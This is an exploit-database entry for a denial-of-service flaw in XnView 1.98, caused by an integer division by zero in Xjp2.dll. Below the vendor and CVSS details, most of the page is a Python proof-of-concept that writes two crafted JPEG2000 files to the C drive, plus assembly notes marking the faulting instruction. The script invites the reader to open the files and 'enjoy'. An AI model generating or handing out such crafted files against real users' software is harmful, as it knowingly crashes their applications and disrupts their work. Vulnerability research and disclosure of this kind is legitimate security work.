header-logo
Suggest Exploit
vendor:
XnView
by:
BraniX
5.5
CVSS
MEDIUM
Denial of Service
369
CWE
Product Name: XnView
Affected Version From: 1.98
Affected Version To: 1.98
Patch Exists: NO
Related CWE:
CPE: a:xnview:xnview:1.98
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP3 Home Edition, Windows XP SP3 Professional
2011

XnView DoS

The DoS is caused by an integer division by zero in the Xjp2.dll module. It can be triggered by opening a specially crafted file.

Mitigation:

Update to a patched version of XnView.
Source

Exploit-DB raw data:

# done by BraniX
# found: 2011.06.19
# published: 2011.06.20
# tested on: Windows XP SP3 Home Edition
# tested on: Windows XP SP3 Professional

# App: XnView 1.98 (latest version)
# App Url: http://www.xnview.com
# xnview.exe    MD5: ebe200d81a095d296e94e887dc40e607
# Xjp2.dll      MD5: 0c831c090f5a723d44bb641b175ca0e6

# DoS is caused by integer division by zero in module Xjp2.dll

# It can be triggered from:
# Local: C:\XnView 1.98 JP2000 (Compression 50%) DoS.jp2
# Remote: \\MySecretServer\XnView 1.98 JP2000 (Compression 50%) DoS.jp2

# 1000D1C4    8A44BA 03       MOV AL,BYTE PTR DS:[EDX+EDI*4+3]
# 1000D1C8    8941 E4         MOV DWORD PTR DS:[ECX-1C],EAX
# 1000D1CB    8B56 0C         MOV EDX,DWORD PTR DS:[ESI+C]
# 1000D1CE    8D4413 FF       LEA EAX,DWORD PTR DS:[EBX+EDX-1]
# 1000D1D2    33D2            XOR EDX,EDX
# 1000D1D4    F7F3            DIV EBX                                  ; div by zero
# 1000D1D6    33D2            XOR EDX,EDX
# 1000D1D8    8BE8            MOV EBP,EAX
# 1000D1DA    8B46 04         MOV EAX,DWORD PTR DS:[ESI+4]
# 1000D1DD    8D4403 FF       LEA EAX,DWORD PTR DS:[EBX+EAX-1]
# 1000D1E1    F7F3            DIV EBX
# 1000D1E3    8B59 E4         MOV EBX,DWORD PTR DS:[ECX-1C]

filepath = "C:\\XnView 1.98 JP2000 (Compression 50%) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x00\x00\x07\x01\x01\x07\x01\x01\xFF\x5C\x00\x17\x42\x60\xC8\x42\x5D\x42\x5D\x42\x6D\x3A\xDB\x3A\xDB\x3B\x35\x32\xB8\x32\xB8\x32\x6B\xFF\x5D\x00\x18\x01\x42\x60\x6D\x41\xF2\x41\xF2\x42\x01\x3A\x6B\x3A\x6B\x3A\xC1\x32\x49\x32\x49\x31\xFF\xFF\x5D\x00\x18\x02\x42\x61\xAA\x43\x69\x43\x69\x43\x7A\x3B\xF3\x3B\xF3\x3C\x56\x33\xCC\x33\xCC\x33\x78\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x00\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x00\xA7\x00\x01\xFF\x93\xC7\xEC\x0C\x08\x8A\xC1\xC5\xD6\x54\xC0\x7D\x40\xA0\x0B\xBF\x3B\x6F\xDF\xC1\xF8\x02\x80\x03\x97\x3D\x32\x8B\xC0\xF8\x42\x87\xCE\x12\x07\xC2\x10\x01\x7F\x0C\x31\x03\x6B\x0B\xE3\xA0\x10\x80\x01\xC0\x74\x18\x1F\x08\x60\x04\x0C\x41\x6F\xC3\xE4\x13\x07\xC2\x34\x1F\x08\x80\x1C\xDD\xFD\x75\xB0\xA9\x74\x39\x3F\x0D\x31\x97\xD9\xD9\x7F\x0C\xAC\xCD\x9F\xC0\xE8\x60\x1F\x92\xE7\xC0\xE8\xB0\x3A\x1C\x04\x40\x1F\x1E\xA0\x20\x67\x12\x9A\x3F\x0C\xA7\xC3\xE1\x2A\x0E\x93\x07\x45\x61\x1C\x5E\xC3\xDD\xAC\x1B\xF5\x5B\xB9\x03\x8A\xAD\xF5\x07\x1F\x86\x1D\x5F\x19\xD8\x05\x13\xA3\xC0\x84\x5F\xC0\x8A\x04\x80\x01\x7F\x03\x9C\x46\xBF\xFF\xD9'
f.write(poc)
f.close()

print "Done, 1st file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"

filepath = "C:\\XnView 1.98 JP2000 (Lossless Compression) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x01\x01\x00\x00\x01\x07\x01\x01\xFF\x5C\x00\x0D\x40\x40\x48\x48\x50\x48\x48\x50\x48\x48\x50\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x01\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x01\xD7\x00\x01\xFF\x93\xC7\xD4\x0A\x0B\xC7\x38\x51\x7F\xC3\xE7\x06\x05\x37\xD2\xC7\xD4\x0A\x03\x99\xA5\x4C\x37\xC1\xF3\x83\x8F\xB4\x16\x0F\xA8\x0C\x02\x3E\x7F\x0C\x36\xBB\x62\x2F\x0B\xCC\x17\xC0\x7C\x21\x40\x7C\x21\xC0\x7C\x80\x80\x04\x3F\x00\x8C\x5F\x08\x4B\xC1\xF3\x83\x87\xD4\x0B\x03\xE7\x06\x03\x86\x7F\x0C\x3F\x54\xA0\x7F\x08\xC3\x3F\xC7\xDA\x19\x0F\xA8\x26\x1F\x68\x50\x1D\x1C\x3D\xBB\xD4\xFC\x81\x39\x8F\xA6\x70\x69\x0D\x31\x7D\x53\xE7\xDB\x76\x1B\xBF\x0C\xAC\x1B\x93\x78\xD2\xF9\xD4\xA4\x4F\xC1\xF3\x8A\x81\xF2\x07\x80\xF9\x03\x80\x1C\x55\x34\xA2\x49\xD7\xFB\x27\x22\x0F\x01\xA7\xB1\x0A\x1F\x87\x4F\x04\x72\xC3\xEE\xE0\x5C\x7F\xC1\xF3\x8C\x87\xD4\x13\x07\xD4\x10\x11\x7B\xFC\x98\xB8\x1F\x71\x08\x68\xBE\x09\x3F\x0B\x4F\x2B\x89\x58\x56\x5E\xD9\xF3\x0C\xAC\x7A\x0E\x4B\x8C\xDA\x19\xC3\xEA\x1D\x87\xD4\x3D\x07\xD4\x30\x4F\x4D\xF3\xDD\x3B\x9E\x30\xC2\x67\xC8\xBE\x80\x42\x86\xA2\x9D\x6E\x6C\x29\x29\x2B\xDD\xF5\x71\x5E\xD4\x7D\xE4\x5F\x03\x8A\xAE\x0D\x74\xDA\xBA\xD1\x3F\xD2\x58\x2F\x8D\x45\x36\x7B\xF4\x45\xC1\x95\x14\xDB\x5D\x6E\x1C\x49\xC8\xC2\x72\xDF\x1E\xE9\x2F\x2C\xBC\xC7\xAA\x56\x9E\xA9\x73\xFD\xA7\xEB\xEB\x43\x78\x20\x08\x39\xEE\x07\xCE\x2B\xC1\xF3\x99\x83\xE7\x33\x03\xE7\x2E\x5F\xEC\x62\x95\x14\x7C\xE1\xB1\x36\x06\xEE\x8D\x1B\xB8\xD9\xFC\x4C\x12\x2D\x5F\xA2\xA1\x7C\x80\xFD\x3D\x57\x59\xB9\x1B\xCD\x48\x78\xB4\xC6\x7F\xC3\x73\x32\x8F\x6E\x38\x51\x45\xCD\xC7\xDA\xED\x54\x5B\x09\xC2\xC1\x85\xF6\x0B\x9C\xEF\x38\x79\x10\x72\x31\x80\x43\x0D\x75\x99\x95\x9C\xE6\x44\x7F\xC1\xF3\x9E\x87\xD4\x3D\x03\xE7\x2E\x11\x88\x13\x57\x4E\x51\x31\x2D\xBF\x76\xEC\x3E\x42\x3C\xF9\xA6\x5D\x7D\x96\x05\xF0\xA9\xA0\x9E\x69\x4C\xBF\x71\xA3\xBF\x03\x89\x78\x67\x57\xF0\xBB\xD2\x32\x12\x88\x9C\xD3\x41\xF6\x81\xED\x3E\x2E\x35\x62\xF1\x69\xDA\xC2\x71\x0F\xAB\x14\x1B\x16\x55\xAC\x51\x83\x1E\x48\x2E\x20\xC8\x39\x1A\x46\x12\xE1\x62\x07\x88\x8C\x43\x20\x1A\x1B\xFF\xD9'
f.write(poc)
f.close()

print "Done, 2nd file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"